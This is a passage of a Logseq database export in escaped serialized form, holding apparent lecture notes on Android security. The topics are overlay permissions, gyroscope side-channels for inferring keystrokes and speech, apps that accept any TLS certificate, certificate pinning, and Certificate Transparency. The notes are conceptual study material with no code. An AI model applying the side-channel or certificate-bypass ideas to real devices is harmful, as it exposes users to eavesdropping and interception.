logseq____&quot;],536876474]],[logseq____&quot;^15logseq____&quot;,[757,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb27fd-585d-4b2b-ada5-17f0fe7f3c1blogseq____&quot;,536876431]],[logseq____&quot;^15logseq____&quot;,[758,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;App has been granted the `SYSTEM_ALERT_WINDOW` permissionlogseq____&quot;,536876490]],[logseq____&quot;^15logseq____&quot;,[758,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876474]],[logseq____&quot;^15logseq____&quot;,[758,logseq____&quot;^Flogseq____&quot;,757,536876474]],[logseq____&quot;^15logseq____&quot;,[758,logseq____&quot;^Xlogseq____&quot;,689,536876474]],[logseq____&quot;^15logseq____&quot;,[758,logseq____&quot;^Vlogseq____&quot;,748,536876474]],[logseq____&quot;^15logseq____&quot;,[758,logseq____&quot;^Ulogseq____&quot;,689,536876475]],[logseq____&quot;^15logseq____&quot;,[758,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876490]],[logseq____&quot;^15logseq____&quot;,[758,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb2832-9e61-42a1-84ff-86a159eb20d3logseq____&quot;,536876474]],[logseq____&quot;^15logseq____&quot;,[759,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Sensorical Side-Channelslogseq____&quot;,536876500]],[logseq____&quot;^15logseq____&quot;,[759,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876493]],[logseq____&quot;^15logseq____&quot;,[759,logseq____&quot;^Flogseq____&quot;,743,536876495]],[logseq____&quot;^15logseq____&quot;,[759,logseq____&quot;^Xlogseq____&quot;,689,536876493]],[logseq____&quot;^15logseq____&quot;,[759,logseq____&quot;^Vlogseq____&quot;,689,536876495]],[logseq____&quot;^15logseq____&quot;,[759,logseq____&quot;^Ulogseq____&quot;,689,536876494]],[logseq____&quot;^15logseq____&quot;,[759,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536876500]],[logseq____&quot;^15logseq____&quot;,[759,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536876500]],[logseq____&quot;^15logseq____&quot;,[759,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb287b-abde-4909-a40b-4a664f06c5f3logseq____&quot;,536876493]],[logseq____&quot;^15logseq____&quot;,[760,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Use Gyroscope to fingerprint letters when typinglogseq____&quot;,536876516]],[logseq____&quot;^15logseq____&quot;,[760,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876500]],[logseq____&quot;^15logseq____&quot;,[760,logseq____&quot;^Flogseq____&quot;,759,536876500]],[logseq____&quot;^15logseq____&quot;,[760,logseq____&quot;^Xlogseq____&quot;,689,536876500]],[logseq____&quot;^15logseq____&quot;,[760,logseq____&quot;^Vlogseq____&quot;,759,536876504]],[logseq____&quot;^15logseq____&quot;,[760,logseq____&quot;^Ulogseq____&quot;,689,536876501]],[logseq____&quot;^15logseq____&quot;,[760,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876516]],[logseq____&quot;^15logseq____&quot;,[760,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb2881-7f9f-4f10-8a8d-ef476f3a2e50logseq____&quot;,536876500]],[logseq____&quot;^15logseq____&quot;,[761,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Place phone next to keyboard (mesure vibrations when typing)logseq____&quot;,536876538]],[logseq____&quot;^15logseq____&quot;,[761,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876516]],[logseq____&quot;^15logseq____&quot;,[761,logseq____&quot;^Flogseq____&quot;,760,536876516]],[logseq____&quot;^15logseq____&quot;,[761,logseq____&quot;^Xlogseq____&quot;,689,536876516]],[logseq____&quot;^15logseq____&quot;,[761,logseq____&quot;^Vlogseq____&quot;,759,536876516]],[logseq____&quot;^15logseq____&quot;,[761,logseq____&quot;^Ulogseq____&quot;,689,536876517]],[logseq____&quot;^15logseq____&quot;,[761,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876538]],[logseq____&quot;^15logseq____&quot;,[761,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb288c-8f8c-4761-abbe-3de86bcd828blogseq____&quot;,536876516]],[logseq____&quot;^15logseq____&quot;,[762,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Gyproscope as voice analyzer (vibrations from sound)logseq____&quot;,536876560]],[logseq____&quot;^15logseq____&quot;,[762,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876538]],[logseq____&quot;^15logseq____&quot;,[762,logseq____&quot;^Flogseq____&quot;,761,536876538]],[logseq____&quot;^15logseq____&quot;,[762,logseq____&quot;^Xlogseq____&quot;,689,536876538]],[logseq____&quot;^15logseq____&quot;,[762,logseq____&quot;^Vlogseq____&quot;,759,536876538]],[logseq____&quot;^15logseq____&quot;,[762,logseq____&quot;^Ulogseq____&quot;,689,536876539]],[logseq____&quot;^15logseq____&quot;,[762,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876560]],[logseq____&quot;^15logseq____&quot;,[762,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb28a3-6193-4d17-8b52-20d1ceac53f4logseq____&quot;,536876538]],[logseq____&quot;^15logseq____&quot;,[764,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[SSL / TLS]]logseq____&quot;,536877058]],[logseq____&quot;^15logseq____&quot;,[764,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876573]],[logseq____&quot;^15logseq____&quot;,[764,logseq____&quot;^@logseq____&quot;,false,536876573]],[logseq____&quot;^15logseq____&quot;,[764,logseq____&quot;^Flogseq____&quot;,690,536876573]],[logseq____&quot;^15logseq____&quot;,[764,logseq____&quot;^Xlogseq____&quot;,296,536876573]],[logseq____&quot;^15logseq____&quot;,[764,logseq____&quot;^Vlogseq____&quot;,690,536876575]],[logseq____&quot;^15logseq____&quot;,[764,logseq____&quot;^Ulogseq____&quot;,296,536876581]],[logseq____&quot;^15logseq____&quot;,[764,logseq____&quot;^Ulogseq____&quot;,765,536876581]],[logseq____&quot;^15logseq____&quot;,[764,logseq____&quot;^Ulogseq____&quot;,766,536876581]],[logseq____&quot;^15logseq____&quot;,[764,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[764,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[764,logseq____&quot;^Hlogseq____&quot;,765,536878163]],[logseq____&quot;^15logseq____&quot;,[764,logseq____&quot;^Hlogseq____&quot;,766,536878163]],[logseq____&quot;^15logseq____&quot;,[764,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb294e-ed5e-4903-b0e6-3df021c93982logseq____&quot;,536876573]],[logseq____&quot;^15logseq____&quot;,[765,logseq____&quot;^Klogseq____&quot;,1740319070567,536876580]],[logseq____&quot;^15logseq____&quot;,[765,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876587]],[logseq____&quot;^15logseq____&quot;,[765,logseq____&quot;^@logseq____&quot;,false,536876580]],[logseq____&quot;^15logseq____&quot;,[765,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;ssl / tlslogseq____&quot;,536876580]],[logseq____&quot;^15logseq____&quot;,[765,logseq____&quot;^Alogseq____&quot;,766,536876580]],[logseq____&quot;^15logseq____&quot;,[765,logseq____&quot;^11logseq____&quot;,logseq____&quot;SSL / TLSlogseq____&quot;,536876580]],[logseq____&quot;^15logseq____&quot;,[765,logseq____&quot;^Blogseq____&quot;,1740324449298,536877014]],[logseq____&quot;^15logseq____&quot;,[765,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-b7f2-48b7-b0cf-eb63e570a54alogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[766,logseq____&quot;^Klogseq____&quot;,1740319070567,536876580]],[logseq____&quot;^15logseq____&quot;,[766,logseq____&quot;^@logseq____&quot;,false,536876580]],[logseq____&quot;^15logseq____&quot;,[766,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;ssl logseq____&quot;,536876580]],[logseq____&quot;^15logseq____&quot;,[766,logseq____&quot;^11logseq____&quot;,logseq____&quot;SSL logseq____&quot;,536876580]],[logseq____&quot;^15logseq____&quot;,[766,logseq____&quot;^Blogseq____&quot;,1740319070567,536876580]],[logseq____&quot;^15logseq____&quot;,[766,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-5231-4b10-94ec-68a423b85772logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[767,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Problemslogseq____&quot;,536876595]],[logseq____&quot;^15logseq____&quot;,[767,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876588]],[logseq____&quot;^15logseq____&quot;,[767,logseq____&quot;^@logseq____&quot;,false,536876588]],[logseq____&quot;^15logseq____&quot;,[767,logseq____&quot;^Flogseq____&quot;,765,536876588]],[logseq____&quot;^15logseq____&quot;,[767,logseq____&quot;^Xlogseq____&quot;,765,536876588]],[logseq____&quot;^15logseq____&quot;,[767,logseq____&quot;^Vlogseq____&quot;,765,536876588]],[logseq____&quot;^15logseq____&quot;,[767,logseq____&quot;^Ulogseq____&quot;,765,536876589]],[logseq____&quot;^15logseq____&quot;,[767,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536876595]],[logseq____&quot;^15logseq____&quot;,[767,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536876595]],[logseq____&quot;^15logseq____&quot;,[767,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb2963-7de9-4d50-8019-db01a5290836logseq____&quot;,536876588]],[logseq____&quot;^15logseq____&quot;,[769,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Study revealed 20% of apps improperly handle certificates (accept all certificates or hostnames)logseq____&quot;,536876629]],[logseq____&quot;^15logseq____&quot;,[769,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876596]],[logseq____&quot;^15logseq____&quot;,[769,logseq____&quot;^@logseq____&quot;,false,536876596]],[logseq____&quot;^15logseq____&quot;,[769,logseq____&quot;^Flogseq____&quot;,767,536876596]],[logseq____&quot;^15logseq____&quot;,[769,logseq____&quot;^Xlogseq____&quot;,765,536876596]],[logseq____&quot;^15logseq____&quot;,[769,logseq____&quot;^Vlogseq____&quot;,767,536876598]],[logseq____&quot;^15logseq____&quot;,[769,logseq____&quot;^Ulogseq____&quot;,765,536876597]],[logseq____&quot;^15logseq____&quot;,[769,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876629]],[logseq____&quot;^15logseq____&quot;,[769,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb2c69-d015-4f4c-8952-1816fe403c1dlogseq____&quot;,536876596]],[logseq____&quot;^15logseq____&quot;,[770,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;StackOverflow contains insecure codelogseq____&quot;,536876642]],[logseq____&quot;^15logseq____&quot;,[770,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876632]],[logseq____&quot;^15logseq____&quot;,[770,logseq____&quot;^@logseq____&quot;,false,536876632]],[logseq____&quot;^15logseq____&quot;,[770,logseq____&quot;^Flogseq____&quot;,769,536876632]],[logseq____&quot;^15logseq____&quot;,[770,logseq____&quot;^Xlogseq____&quot;,765,536876632]],[logseq____&quot;^15logseq____&quot;,[770,logseq____&quot;^Vlogseq____&quot;,767,536876632]],[logseq____&quot;^15logseq____&quot;,[770,logseq____&quot;^Ulogseq____&quot;,765,536876633]],[logseq____&quot;^15logseq____&quot;,[770,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876642]],[logseq____&quot;^15logseq____&quot;,[770,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb2e5f-cd3d-4a69-ab2d-cb3bbc099256logseq____&quot;,536876632]],[logseq____&quot;^15logseq____&quot;,[771,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Hostname Verification (Custom implementation mostly NOPs returning true)logseq____&quot;,536876684]],[logseq____&quot;^15logseq____&quot;,[771,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876642]],[logseq____&quot;^15logseq____&quot;,[771,logseq____&quot;^@logseq____&quot;,false,536876642]],[logseq____&quot;^15logseq____&quot;,[771,logseq____&quot;^Flogseq____&quot;,770,536876642]],[logseq____&quot;^15logseq____&quot;,[771,logseq____&quot;^Xlogseq____&quot;,765,536876642]],[logseq____&quot;^15logseq____&quot;,[771,logseq____&quot;^Vlogseq____&quot;,767,536876642]],[logseq____&quot;^15logseq____&quot;,[771,logseq____&quot;^Ulogseq____&quot;,765,536876643]],[logseq____&quot;^15logseq____&quot;,[771,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876684]],[logseq____&quot;^15logseq____&quot;,[771,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb2e66-2646-4df4-ac4d-3e76c52a561dlogseq____&quot;,536876642]],[logseq____&quot;^15logseq____&quot;,[772,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Certificate Chain Errors (Custom implementation mostly NOPs returning true): self-signed CA, compromised PKIlogseq____&quot;,536876718]],[logseq____&quot;^15logseq____&quot;,[772,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876664]],[logseq____&quot;^15logseq____&quot;,[772,logseq____&quot;^@logseq____&quot;,false,536876664]],[logseq____&quot;^15logseq____&quot;,[772,logseq____&quot;^Flogseq____&quot;,771,536876664]],[logseq____&quot;^15logseq____&quot;,[772,logseq____&quot;^Xlogseq____&quot;,765,536876664]],[logseq____&quot;^15logseq____&quot;,[772,logseq____&quot;^Vlogseq____&quot;,767,536876664]],[logseq____&quot;^15logseq____&quot;,[772,logseq____&quot;^Ulogseq____&quot;,765,536876665]],[logseq____&quot;^15logseq____&quot;,[772,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876718]],[logseq____&quot;^15logseq____&quot;,[772,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb2f27-a694-409d-8d5c-6b6805a38e82logseq____&quot;,536876664]],[logseq____&quot;^15logseq____&quot;,[773,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Certificate Pinninglogseq____&quot;,536876737]],[logseq____&quot;^15logseq____&quot;,[773,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876668]],[logseq____&quot;^15logseq____&quot;,[773,logseq____&quot;^@logseq____&quot;,false,536876668]],[logseq____&quot;^15logseq____&quot;,[773,logseq____&quot;^Flogseq____&quot;,767,536876721]],[logseq____&quot;^15logseq____&quot;,[773,logseq____&quot;^Xlogseq____&quot;,765,536876668]],[logseq____&quot;^15logseq____&quot;,[773,logseq____&quot;^Vlogseq____&quot;,765,536876721]],[logseq____&quot;^15logseq____&quot;,[773,logseq____&quot;^Ulogseq____&quot;,765,536876669]],[logseq____&quot;^15logseq____&quot;,[773,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536876737]],[logseq____&quot;^15logseq____&quot;,[773,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536876737]],[logseq____&quot;^15logseq____&quot;,[773,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb2f2c-d261-4446-b313-606b5f12e22dlogseq____&quot;,536876668]],[logseq____&quot;^15logseq____&quot;,[775,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Load trusted CA certificate from assetslogseq____&quot;,536876741]],[logseq____&quot;^15logseq____&quot;,[775,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876730]],[logseq____&quot;^15logseq____&quot;,[775,logseq____&quot;^@logseq____&quot;,false,536876730]],[logseq____&quot;^15logseq____&quot;,[775,logseq____&quot;^Flogseq____&quot;,773,536876730]],[logseq____&quot;^15logseq____&quot;,[775,logseq____&quot;^Xlogseq____&quot;,765,536876730]],[logseq____&quot;^15logseq____&quot;,[775,logseq____&quot;^Vlogseq____&quot;,773,536876732]],[logseq____&quot;^15logseq____&quot;,[775,logseq____&quot;^Ulogseq____&quot;,765,536876738]],[logseq____&quot;^15logseq____&quot;,[775,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876741]],[logseq____&quot;^15logseq____&quot;,[775,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb309d-5bca-4825-8028-ebd300d94c1flogseq____&quot;,536876730]],[logseq____&quot;^15logseq____&quot;,[776,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Create custom TrustManager for chainlogseq____&quot;,536876764]],[logseq____&quot;^15logseq____&quot;,[776,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876741]],[logseq____&quot;^15logseq____&quot;,[776,logseq____&quot;^@logseq____&quot;,false,536876741]],[logseq____&quot;^15logseq____&quot;,[776,logseq____&quot;^Flogseq____&quot;,775,536876741]],[logseq____&quot;^15logseq____&quot;,[776,logseq____&quot;^Xlogseq____&quot;,765,536876741]],[logseq____&quot;^15logseq____&quot;,[776,logseq____&quot;^Vlogseq____&quot;,773,536876741]],[logseq____&quot;^15logseq____&quot;,[776,logseq____&quot;^Ulogseq____&quot;,765,536876742]],[logseq____&quot;^15logseq____&quot;,[776,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876764]],[logseq____&quot;^15logseq____&quot;,[776,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb3498-6512-4211-8a47-0586d2f691e6logseq____&quot;,536876741]],[logseq____&quot;^15logseq____&quot;,[777,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Create custom SSLContext with pinned CA certificatelogseq____&quot;,536876782]],[logseq____&quot;^15logseq____&quot;,[777,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876757]],[logseq____&quot;^15logseq____&quot;,[777,logseq____&quot;^@logseq____&quot;,false,536876757]],[logseq____&quot;^15logseq____&quot;,[777,logseq____&quot;^Flogseq____&quot;,776,536876757]],[logseq____&quot;^15logseq____&quot;,[777,logseq____&quot;^Xlogseq____&quot;,765,536876757]],[logseq____&quot;^15logseq____&quot;,[777,logseq____&quot;^Vlogseq____&quot;,773,536876757]],[logseq____&quot;^15logseq____&quot;,[777,logseq____&quot;^Ulogseq____&quot;,765,536876758]],[logseq____&quot;^15logseq____&quot;,[777,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876782]],[logseq____&quot;^15logseq____&quot;,[777,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb34a7-4718-4102-83be-8ee38f1f3892logseq____&quot;,536876757]],[logseq____&quot;^15logseq____&quot;,[778,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Network Security Configurationlogseq____&quot;,536876803]],[logseq____&quot;^15logseq____&quot;,[778,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876785]],[logseq____&quot;^15logseq____&quot;,[778,logseq____&quot;^@logseq____&quot;,false,536876785]],[logseq____&quot;^15logseq____&quot;,[778,logseq____&quot;^Flogseq____&quot;,773,536876785]],[logseq____&quot;^15logseq____&quot;,[778,logseq____&quot;^Xlogseq____&quot;,765,536876785]],[logseq____&quot;^15logseq____&quot;,[778,logseq____&quot;^Vlogseq____&quot;,765,536876785]],[logseq____&quot;^15logseq____&quot;,[778,logseq____&quot;^Ulogseq____&quot;,765,536876786]],[logseq____&quot;^15logseq____&quot;,[778,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536876803]],[logseq____&quot;^15logseq____&quot;,[778,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536876803]],[logseq____&quot;^15logseq____&quot;,[778,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb35c9-d2ce-456d-a168-d41f6c8b7830logseq____&quot;,536876785]],[logseq____&quot;^15logseq____&quot;,[781,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Introduced in Android 7logseq____&quot;,536876816]],[logseq____&quot;^15logseq____&quot;,[781,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876803]],[logseq____&quot;^15logseq____&quot;,[781,logseq____&quot;^@logseq____&quot;,false,536876803]],[logseq____&quot;^15logseq____&quot;,[781,logseq____&quot;^Flogseq____&quot;,778,536876803]],[logseq____&quot;^15logseq____&quot;,[781,logseq____&quot;^Xlogseq____&quot;,765,536876803]],[logseq____&quot;^15logseq____&quot;,[781,logseq____&quot;^Vlogseq____&quot;,778,536876805]],[logseq____&quot;^15logseq____&quot;,[781,logseq____&quot;^Ulogseq____&quot;,765,536876804]],[logseq____&quot;^15logseq____&quot;,[781,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876816]],[logseq____&quot;^15logseq____&quot;,[781,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb3aff-0da3-473a-884f-973be45e7526logseq____&quot;,536876803]],[logseq____&quot;^15logseq____&quot;,[782,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Allows for Configuration of CAs, debugging overrides, permitting clear-text trafficlogseq____&quot;,536876854]],[logseq____&quot;^15logseq____&quot;,[782,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876816]],[logseq____&quot;^15logseq____&quot;,[782,logseq____&quot;^@logseq____&quot;,false,536876816]],[logseq____&quot;^15logseq____&quot;,[782,logseq____&quot;^Flogseq____&quot;,781,536876816]],[logseq____&quot;^15logseq____&quot;,[782,logseq____&quot;^Xlogseq____&quot;,765,536876816]],[logseq____&quot;^15logseq____&quot;,[782,logseq____&quot;^Vlogseq____&quot;,778,536876816]],[logseq____&quot;^15logseq____&quot;,[782,logseq____&quot;^Ulogseq____&quot;,765,536876817]],[logseq____&quot;^15logseq____&quot;,[782,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876854]],[logseq____&quot;^15logseq____&quot;,[782,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb3b09-6b4a-4773-988c-5702b8031ab9logseq____&quot;,536876816]],[logseq____&quot;^15logseq____&quot;,[784,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;No configuration for hostname verificationlogseq____&quot;,536876864]],[logseq____&quot;^15logseq____&quot;,[784,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876857]],[logseq____&quot;^15logseq____&quot;,[784,logseq____&quot;^@logseq____&quot;,false,536876857]],[logseq____&quot;^15logseq____&quot;,[784,logseq____&quot;^Flogseq____&quot;,782,536876857]],[logseq____&quot;^15logseq____&quot;,[784,logseq____&quot;^Xlogseq____&quot;,765,536876857]],[logseq____&quot;^15logseq____&quot;,[784,logseq____&quot;^Vlogseq____&quot;,778,536876857]],[logseq____&quot;^15logseq____&quot;,[784,logseq____&quot;^Ulogseq____&quot;,765,536876858]],[logseq____&quot;^15logseq____&quot;,[784,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876864]],[logseq____&quot;^15logseq____&quot;,[784,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb3c40-d3ae-4c4c-b991-c9e6806a81c5logseq____&quot;,536876857]],[logseq____&quot;^15logseq____&quot;,[785,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Certificate Transparencylogseq____&quot;,536876874]],[logseq____&quot;^15logseq____&quot;,[785,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876867]],[logseq____&quot;^15logseq____&quot;,[785,logseq____&quot;^@logseq____&quot;,false,536876867]],[logseq____&quot;^15logseq____&quot;,[785,logseq____&quot;^Flogseq____&quot;,778,536876871]],[logseq____&quot;^15logseq____&quot;,[785,logseq____&quot;^Xlogseq____&quot;,765,536876867]],[logseq____&quot;^15logseq____&quot;,[785,logseq____&quot;^Vlogseq____&quot;,765,536876871]],[logseq____&quot;^15logseq____&quot;,[785,logseq____&quot;^Ulogseq____&quot;,765,536876868]],[logseq____&quot;^15logseq____&quot;,[785,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536876874]],[logseq____&quot;^15logseq____&quot;,[785,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536876874]],[logseq____&quot;^15logseq____&quot;,[785,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb3cb8-8643-4060-87fb-c458e47de59flogseq____&quot;,536876867]],[logseq____&quot;^15logseq____&quot;,[786,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Have logging server with cryptographically ensured append-only logs, e.g., via Merkle hash treeslogseq____&quot;,536876899]],[logseq____&quot;^15logseq____&quot;,[786,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876877]],[logseq____&quot;^15logseq____&quot;,[786,logseq____&quot;^@logseq____&quot;,false,536876877]],[logseq____&quot;^15logseq____&quot;,[786,logseq____&quot;^Flogseq____&quot;,785,536876877]],[logseq____&quot;^15logseq____&quot;,[786,logseq____&quot;^Xlogseq____&quot;,765,536876877]],[logseq____&quot;^15logseq____&quot;,[786,logseq____&quot;^Vlogseq____&quot;,785,536876879]],[logseq____&quot;^15logseq____&quot;,[786,logseq____&quot;^Ulogseq____&quot;,765,536876878]],[logseq____&quot;^15logseq____&quot;,[786,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876899]],[logseq____&quot;^15logseq____&quot;,[786,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb3cc2-abc6-4cbe-b6fb-de8da4c2101blogseq____&quot;,536876877]],[logseq____&quot;^15logseq____&quot;,[787,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Clients can verify SCT(Signed Certificate Timestamp), i.e., verify that the certificate is validlogseq____&quot;,536876933]],[logseq____&quot;^15logseq____&quot;,[787,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876902]],[logseq____&quot;^15logseq____&quot;,[787,logseq____&quot;^@logseq____&quot;,false,536876902]],[logseq____&quot;^15logseq____&quot;,[787,logseq____&quot;^Flogseq____&quot;,786,536876902]],[logseq____&quot;^15logseq____&quot;,[787,logseq____&quot;^Xlogseq____&quot;,765,536876902]],[logseq____&quot;^15logseq____&quot;,[787,logseq____&quot;^Vlogseq____&quot;,785,536876902]],[logseq____&quot;^15logseq____&quot;,[787,logseq____&quot;^Ulogseq____&quot;,765,536876903]],[logseq____&quot;^15logseq____&quot;,[787,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876933]],[logseq____&quot;^15logseq____&quot;,[787,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb3d3e-6c9c-4a6d-9167-89d1b316ca18logseq____&quot;,536876902]],[logseq____&quot;^15logseq____&quot;,[788,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Usally embedded as `X.509v3` certificate extensionlogseq____&quot;,536876969]],[logseq____&quot;^15logseq____&quot;,[788,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876936]],[logseq____&quot;^15logseq____&quot;,[788,logseq____&quot;^@logseq____&quot;,false,536876936]],[logseq____&quot;^15logseq____&quot;,[788,logseq____&quot;^Flogseq____&quot;,787,536876936]],[logseq____&quot;^15logseq____&quot;,[788,logseq____&quot;^Xlogseq____&quot;,765,536876936]],[logseq____&quot;^15logseq____&quot;,[788,logseq____&quot;^Vlogseq____&quot;,785,536876936]],[logseq____&quot;^15logseq____&quot;,[788,logseq____&quot;^Ulogseq____&quot;,765,536876937]],[logseq____&quot;^15logseq____&quot;,[788,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876969]],[logseq____&quot;^15logseq____&quot;,[788,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb3d74-65eb-46c8-86e7-58f072bfbf6dlogseq____&quot;,536876936]],[logseq____&quot;^15logseq____&quot;,[789,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Usually, multiple SCTs are requiredlogseq____&quot;,536876979]],[logseq____&quot;^15logseq____&quot;,[789,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876972]],[logseq____&quot;^15logseq____&quot;,[789,logseq____&quot;^@logseq____&quot;,false,536876972]],[logseq____&quot;^15logseq____&quot;,[789,logseq____&quot;^Flogseq____&quot;,788,536876972]],[logseq____&quot;^15logseq____&quot;,[789,logseq____&quot;^Xlogseq____&quot;,765,536876972]],[logseq____&quot;^15logseq____&quot;,[789,logseq____&quot;^Vlogseq____&quot;,785,536876972]],[logseq____&quot;^15logseq____&quot;,[789,logseq____&quot;^Ulogseq____&quot;,765,536876973]],[logseq____&quot;^15logseq____&quot;,[789,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ 